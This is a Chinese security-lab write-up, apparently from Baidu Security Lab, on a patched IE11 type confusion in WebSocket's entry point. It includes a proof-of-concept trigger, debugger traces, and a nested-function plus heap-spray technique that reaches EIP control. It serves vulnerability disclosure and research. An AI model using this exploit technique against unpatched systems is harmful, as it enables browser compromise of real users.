摘要
百度安全實驗室於2016年9月發現了一個可以穩定利用的IE11的類型混淆漏洞,能在Windows 7 32位系統上對IE11進行EIP寄存器控制。就在我們準備向微軟報告的時候(2016年10月)這一漏洞被微軟修復了。很可能是Google Project Zero的NatalieSilvanovich同期獨立發現了同樣的漏洞,並先一步報告給了微軟。該漏洞的原理簡單,但是利用起來有一定難度,因此我們用了一個比較巧妙的方法來利用這個漏洞。由於該漏洞已被修補,在此就把我們對漏洞的分析和利用過程進行一下分享。
漏洞分析
觸發漏洞的PoC非常簡單,只有幾行代碼:
eval = WebSocket; code="m"; myf(code);
function myf(code){ eval(code); } |
我們把eval函數進行重定義爲WebSocket,然後在myf裏面去調用eval函數,並傳給eval函數一個字符參數。加載這段代碼,IE11會崩潰,崩潰信息如下(下面的分析基於win7 sp1(32bit)+IE11(KB3100773)):
(964.a2c): Access violation - code c0000005 (!!! second chance !!!) eax=00000001 ebx=020cbc40 ecx=020cbc40 edx=01e7d848 esi=a0ffffff edi=02d6afa0 eip=a0ffffff esp=02d6af90 ebp=02d6afbc iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 a0ffffff ?? ??? 0:007> kn # ChildEBP RetAddr WARNING: Frame IP not in any known module. Following frames may be wrong. 00 02d6af8c 68911b8c 0xa0ffffff 01 02d6afbc 6892e11b jscript9!Js::JavascriptConversion::ToPrimitive+0x97 02 02d6b23c 689566ba jscript9!Js::JavascriptConversion::ToString+0x1a8 03 02d6b28c 688c1524 jscript9!Js::JavascriptExternalConversion::ToString+0x82 04 02d6b2d4 688c162b jscript9!ScriptSite::ExternalToString+0x53 05 02d6b2f0 664d6334 jscript9!ScriptEngineBase::VarToRawString+0x2e 06 02d6b330 688c0de6 MSHTML!CFastDOM::CWebSocket::DefaultEntryPoint+0xb4 07 02d6b3a0 688b6a0b jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x18e 0e 02d6b848 688bcc4d 0x2a40fd1 0f 02d6baf8 688bcdc9 jscript9!Js::InterpreterStackFrame::Process+0x1dcd 10 02d6bc1c 02a40fe1 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x200 11 02d6bc28 688b6a0b 0x2a40fe1 12 02d6bc6c 688b70c8 jscript9!Js::JavascriptFunction::CallFunction<1>+0x91 13 02d6bce0 688b6ffd jscript9!Js::JavascriptFunction::CallRootFunction+0xb9 |
從上面的棧回溯中我們可以看到,程序是崩潰在WebSocket的默認入口函數裏。也就是說我們在myf()裏調用eval時,由於eval函數被重定義了,所以真正被執行的是websocket函數。
查看WebSocket的官方文檔,我們知道WebSocket()函數有2個參數,其中第二個爲可選參數(可有可無)。
WebSocket WebSocket( in DOMString url, in optional DOMString protocols ); |
漏洞產生的原因就是MSHTML!CFastDOM::CWebSocket::DefaultEntryPoint函數發生了一個函數參數的類型混淆。我們在poc中只給websocket傳遞了一個參數,但是在底層它錯誤認爲有2個參數,在解析第二個參數時就發生了類型混淆,導致了崩潰。
我們可以對MSHTML!CFastDOM::CWebSocket::DefaultEntryPoint下斷點,
Breakpoint 0 hit MSHTML!CFastDOM::CWebSocket::DefaultEntryPoint: 681b6280 8bff mov edi,edi 0:007> dd esp 02ae9914 6a590de6 02657720 18000003 03eae480 02ae9924 023b52d8 08a34010 7908006a 02ae9da8 |
0x180000003意味着函數是有一個可選參數的,並且 0x023b52d8對應於js層websocket函數的第一個參數(DOMSting url) ,0x08a34010 對應於websocket的第二個參數(DOMString protocols).
我們可以看到第一個參數時jscript9!Js::BufferStringBuilder::WritableString 對象
0:007> dd 023b52d8 023b52d8 6a57e22c 0266c760 00000001 023b52e8 0:007> ln 6a57e22c (6a57e22c) jscript9!Js::BufferStringBuilder::WritableString::`vftable' | (6a57e3a0) jscript9!Js::CompoundString::`vftable' |
第二個理應(如果有) 也是jscript9!Js::BufferStringBuilder::WritableString 對象,但它卻是一個其它結構的指針。
0:007> dd 08a34010 08a34010 00010001 08a182c0 08a18240 08a18170 08a34020 08a180a0 089effd0 089eff00 089efe30 08a34030 089efd60 089efc90 089efbc0 089efaf0 |
當解析第二個參數時,就發生了類型混淆。
漏洞利用
結合上文崩潰現場分析,我們可以看到0xa0ffffff來自於0x00010001偏移0x9c處
0:007> dd 00010081 00013800 00000000 00000000 e8000000 00010091 e800010f 0f00010f f8000000 a0ffffff 000100a1 a0000100 10000100 10000100 00000100 |
由於此對象原本應該是jscript9!Js::BufferStringBuilder::WritableString對象,第一個dword是對象的虛表指針,所以0x00010001被錯誤的當成了虛函數表指針,那麼利用的關鍵就是我們能否控制這個指針或者控制0x00010001 指向的內容(0x00010001指向的內存往往是不可控制的區域,修改這個範圍的內存難度比較大)。
既然難以控制0x00010001指向的內容,我們的思路轉向控制這一參數的值。我們可以追蹤一下這個被混淆參數的來源。在解析當前崩潰現場時,我們發現它是一個0x10字節大小的堆塊的指針,並且該堆塊是有Javascript的memgc堆來管理的,所以就對相應的堆塊申請函數下斷點追到了該堆塊的申請的地方。該堆塊被申請時的棧回溯如下:
00 0590b66c 67ea27bf jscript9!Js::JavascriptOperators::OP_LdFrameDisplay+0x79 01 0590b918 67dfcdc9 jscript9!Js::InterpreterStackFrame::Process+0x4841 02 0590ba4c 06d30fd1 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x200 WARNING: Frame IP not in any known module. Following frames may be wrong. 03 0590ba58 67dfcc4d 0x6d30fd1 04 0590bd08 67dfcdc9 jscript9!Js::InterpreterStackFrame::Process+0x1dcd 05 0590be24 06d30fe1 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x200 06 0590be30 67df6a0b 0x6d30fe1 07 0590be74 67df70c8 jscript9!Js::JavascriptFunction::CallFunction<1>+0x91 08 0590bee8 67df6ffd jscript9!Js::JavascriptFunction::CallRootFunction+0xb9 09 0590bf30 67df6f90 jscript9!ScriptSite::CallRootFunction+0x42 |
通過閱讀jscript9!Js::JavascriptOperators::OP_LdFrameDisplay的源代碼,可見這個0x10字節大小的結構是framedisplay:
FrameDisplay* JavascriptOperators::OP_LdFrameDisplay(void *argHead, void *argEnv, ScriptContext* scriptContext) { ... pDisplay = RecyclerNewPlus(scriptContext->GetRecycler(), length * sizeof(void*), FrameDisplay, length); ... }
|
查看一下FrameDisplay結構的定義:
struct FrameDisplay { FrameDisplay(uint16 len, bool strictMode = false) : tag(true), length(len), strictMode(strictMode) ... }
|
由Framedisplay的定義我們知道前面所說的0x00010001 是FrameDisplay的tag和length,length位於高16位。
那麼現在的核心問題就是怎麼控制length的值。Framedisplay翻譯過來是“棧幀展示”,通過閱讀相關代碼,我們猜測可能是描述scriptfunction的棧幀的,而length可能是棧幀的長度或者深度。通過構造我們找到一種方法來影響這個值,我們把漏洞觸發函數修改成下面的形式(增加eval函數的調用深度),崩潰時0x00010001已經改成了0x00020001
function myf(code){ function myf(code){ eval(code); } myf(code); } (608.8d0): Access violation - code c0000005 (!!! second chance !!!) 0:007> dd ebx 0474bce0 00020001 0474bcd0 0474bca0 00000000 |
以此類推,我們在eval調用之前嵌套700層函數,那麼虛表指針地址將會變成0x07000001,配合堆噴射,將0x07000000附近內存噴射爲0x41414141,就能實現對EIP的控制:
0:007> g (7b4.f28): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000001 ebx=08a34010 ecx=08a34010 edx=01e7bfd0 esi=41414141 edi=02ae9580 eip=41414141 esp=02ae9570 ebp=02ae959c iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 41414141 ?? ??? 0:007> dd ebx 08a34010 07000001 08a182c0 08a18240 08a18170 0:007> dd 07000001 07000001 10000000 000000fc 00000000 00000000 07000011 00000000 0000003f 0000003f 41000000 07000021 41414141 41414141 41414141 41414141 07000031 41414141 41414141 41414141 41414141 07000041 41414141 41414141 41414141 41414141 07000051 41414141 41414141 41414141 41414141 07000061 41414141 41414141 41414141 41414141 07000071 41414141 41414141 41414141 41414141 |
總結
通過分析,我們搞清楚了Framedisplay結構的含義,並且找到了在腳本層面影響該結構的方法,由此可見,對漏洞涉及的相關結構理解的越好,漏洞利用成功的可能性越大。
長按關注
百度安全實驗室
本文分享自微信公衆號 - 百度安全實驗室(BaiduX_lab)。
如有侵權,請聯繫 [email protected] 刪除。
本文參與“OSC源創計劃”,歡迎正在閱讀的你也加入,一起分享。